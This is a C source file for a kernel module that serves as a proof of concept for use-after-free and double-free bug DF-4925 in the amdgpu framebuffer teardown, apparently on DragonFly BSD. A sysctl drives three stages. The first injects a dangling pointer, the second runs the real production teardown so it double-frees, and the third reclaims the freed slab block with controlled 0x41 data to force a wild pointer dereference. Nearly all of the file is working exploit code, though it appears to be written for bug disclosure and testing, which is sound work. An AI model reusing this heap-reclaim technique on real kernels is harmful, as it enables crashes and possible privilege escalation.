/*
 * DF-4925 PoC — amdgpu_fbdev_init() failure leaves adev->mode_info.rfbdev
 * dangling (twin of DF-4914 / radeon_fb); the standard teardown
 * amdgpu_fbdev_fini() (amdgpu_device_fini: driver unload / device unplug /
 * reboot) then operates on freed memory and double-kfrees it
 * (amdgpu_fb.c:387-395 -> amdgpu_fbdev_destroy:321-336 -> kfree:393).
 *
 * All teardown code driven below (amdgpu_fbdev_fini -> amdgpu_fbdev_destroy
 * -> drm_fb_helper_unregister_fbi / amdgpufb_destroy_pinned_object /
 * drm_fb_helper_fini) is the REAL production code from the loaded amdgpu.ko
 * module (stock /boot/kernel/amdgpu.ko, no AMD GPU present or required).
 *
 * Trigger reality note: on real hardware amdgpu_fbdev_init() fails through
 * drm_fb_helper_init()/-ENOMEM (three fallible kcallocs,
 * drm_fb_helper.c:871/876/884) under memory pressure at driver load, and
 * amdgpu_device_init() IGNORES the failure entirely (amdgpu_device.c:2662
 * `amdgpu_fbdev_init(adev);` — return value discarded), so the driver
 * carries the dangling adev->mode_info.rfbdev until teardown; the deferred
 * consumers are amdgpu_fbdev_fini (amdgpu_device.c:2744) and
 * amdgpu_fbdev_robj_is_fb (amdgpu_device.c:2847, called during suspend/
 * eviction).  On the no-GPU QEMU guest a graceful live failure cannot be
 * produced (the allocators only fail catastrophically), so stage 1 injects
 * EXACTLY the state a failed amdgpu_fbdev_init leaves behind — the four
 * statements of amdgpu_fb.c:360-368 (kzalloc rfbdev, rfbdev->adev, store
 * to adev->mode_info.rfbdev, drm_fb_helper_prepare) followed by the error
 * path of :372-374 (kfree(rfbdev) with NO clearing of
 * adev->mode_info.rfbdev).
 *
 * Stages (write to sysctl hw.amdfbuaf):
 *   1: inject failed-init state; print the dangling adev->mode_info.rfbdev
 *      (non-NULL although the rfbdev was just kfree()d).  No crash.
 *   2: stage 1 + amdgpu_fbdev_fini() -> UAF walk of the freed rfbdev and a
 *      double kfree of it; expect kernel panic.
 *   3: stage 1 + reclaim the freed slab block with a 0x41-filled allocation
 *      + amdgpu_fbdev_fini() -> amdgpu_fbdev_destroy follows
 *      rfb.base.obj[0] = 0x4141414141414141 into
 *      amdgpufb_destroy_pinned_object -> UAF wild pointer chase; expect
 *      kernel panic.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/errno.h>

#include <drm/drmP.h>
#include <drm/drm_crtc.h>
#include <drm/drm_fb_helper.h>
#include "amdgpu.h"
#include "amdgpu_mode.h"	/* struct amdgpu_fbdev, amdgpu_fbdev_* decls */

static struct amdgpu_device *fake_adev;
static struct drm_device *fake_ddev;

static int poc_fb_probe(struct drm_fb_helper *helper,
			struct drm_fb_helper_surface_size *sizes)
{
	return -ENOMEM;
}

static const struct drm_fb_helper_funcs poc_fb_helper_funcs = {
	.fb_probe = poc_fb_probe,
};

static void
setup_fakes(void)
{
	if (fake_adev)
		return;
	fake_ddev = kzalloc(sizeof(*fake_ddev), GFP_KERNEL);
	fake_adev = kzalloc(sizeof(struct amdgpu_device), GFP_KERNEL);
	fake_adev->ddev = fake_ddev;
	/* adev->mode_info.rfbdev == NULL, everything else zeroed */
}

/*
 * Reproduce the exact post-failure state of amdgpu_fbdev_init()
 * (amdgpu_fb.c:342-375 error path):
 *   360: rfbdev = kzalloc(sizeof(struct amdgpu_fbdev), GFP_KERNEL);
 *   364: rfbdev->adev = adev;
 *   365: adev->mode_info.rfbdev = rfbdev;   <-- stored BEFORE any failure
 *   367: drm_fb_helper_prepare(adev->ddev, &rfbdev->helper, funcs);
 *   370: ret = drm_fb_helper_init(...)       <-- FAILS (-ENOMEM)
 *   373:     kfree(rfbdev);                  <-- NO NULL-clear of
 *                                               adev->mode_info.rfbdev
 */
static int
stage1(void)
{
	struct amdgpu_fbdev *rfb;

	setup_fakes();
	fake_adev->mode_info.rfbdev = NULL;	/* fresh run */

	rfb = kzalloc(sizeof(struct amdgpu_fbdev), GFP_KERNEL);	/* :360 */
	rfb->adev = fake_adev;					/* :364 */
	fake_adev->mode_info.rfbdev = rfb;			/* :365 */
	drm_fb_helper_prepare(fake_adev->ddev, &rfb->helper,
	    &poc_fb_helper_funcs);				/* :367 */
	kfree(rfb);		/* :373 — mode_info.rfbdev DANGLING */

	kprintf("DF-4925: injected failed-init state (amdgpu_fb.c:360-374):\n"
	    "  adev->mode_info.rfbdev = %p — kfree()d block still recorded "
	    "(dangling), sizeof(struct amdgpu_fbdev) = %zu\n",
	    fake_adev->mode_info.rfbdev, sizeof(struct amdgpu_fbdev));
	return (fake_adev->mode_info.rfbdev != NULL) ? 0 : -1;
}

static int
sysctl_run(SYSCTL_HANDLER_ARGS)
{
	int stage = 0, error;

	error = sysctl_handle_int(oidp, &stage, 0, req);
	if (error || req->newptr == NULL)
		return (error);

	switch (stage) {
	case 1:
		stage1();
		break;
	case 2:
		if (stage1() != 0) {
			kprintf("DF-4925: stage1 precondition failed\n");
			break;
		}
		kprintf("DF-4925: calling production amdgpu_fbdev_fini() "
		    "(amdgpu_device_fini teardown, amdgpu_device.c:2744) on "
		    "the dangling pointer...\n");
		amdgpu_fbdev_fini(fake_adev);	/* UAF walk + double kfree */
		kprintf("DF-4925: fini returned (no panic?)\n");
		break;
	case 3: {
		void *p = NULL;
		int i;

		if (stage1() != 0) {
			kprintf("DF-4925: stage1 precondition failed\n");
			break;
		}
		for (i = 0; i < 64; i++) {
			p = kzalloc(sizeof(struct amdgpu_fbdev), GFP_KERNEL);
			if (p == (void *)fake_adev->mode_info.rfbdev)
				break;
		}
		kprintf("DF-4925: reclaim attempt: %p (dangling %p, %s)\n",
		    p, fake_adev->mode_info.rfbdev,
		    p == (void *)fake_adev->mode_info.rfbdev ?
		    "RECLAIMED" : "miss");
		if (p != (void *)fake_adev->mode_info.rfbdev)
			break;
		memset(p, 0x41, sizeof(struct amdgpu_fbdev));
		((struct amdgpu_fbdev *)p)->helper.fbdev = NULL;
		kprintf("DF-4925: reclaimed block 0x41-filled "
		    "(rfb.base.obj[0]=0x4141414141414141); production fini -> "
		    "amdgpufb_destroy_pinned_object wild chase\n");
		amdgpu_fbdev_fini(fake_adev);	/* UAF wild pointer chase */
		kprintf("DF-4925: fini returned (no panic?)\n");
		break;
	}
	default:
		kprintf("DF-4925: unknown stage %d (1=dangling, 2=double-free,"
		    " 3=reclaim+UAF)\n", stage);
		break;
	}
	return (0);
}

static int
amdfbuaf_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		SYSCTL_ADD_OID(NULL, SYSCTL_STATIC_CHILDREN(_hw), OID_AUTO,
		    "amdfbuaf", CTLTYPE_INT|CTLFLAG_RW, NULL, 0, sysctl_run,
		    "I", "DF-4925 stage trigger (1/2/3)");
		kprintf("DF-4925 PoC loaded; sysctl hw.amdfbuaf=1|2|3\n");
		return 0;
	case MOD_UNLOAD:
		return 0;
	}
	return 0;
}

static moduledata_t amdfbuaf_mod = {
	"amdfbuaf",
	amdfbuaf_modevent,
	NULL
};
DECLARE_MODULE(amdfbuaf, amdfbuaf_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(amdfbuaf, 1);
